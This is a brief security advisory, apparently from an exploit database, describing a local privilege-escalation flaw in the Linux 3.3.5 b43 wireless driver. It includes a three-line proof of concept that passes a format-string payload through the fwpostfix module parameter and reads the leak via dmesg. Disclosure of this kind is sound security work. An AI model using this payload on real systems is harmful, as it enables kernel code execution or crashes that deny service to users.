Linux Kernel 3.3.5 - 'b43' Wireless Driver Privilege Escalation

source: https://www.securityfocus.com/bid/60410/info

Linux kernel is prone to a local privilege-escalation vulnerability.

Local attackers can exploit the issue to execute arbitrary code with kernel privileges or to crash the kernel, effectively denying service to legitimate users.

# rmmod b43
# modprobe b43 fwpostfix=AA%xBB
# dmesg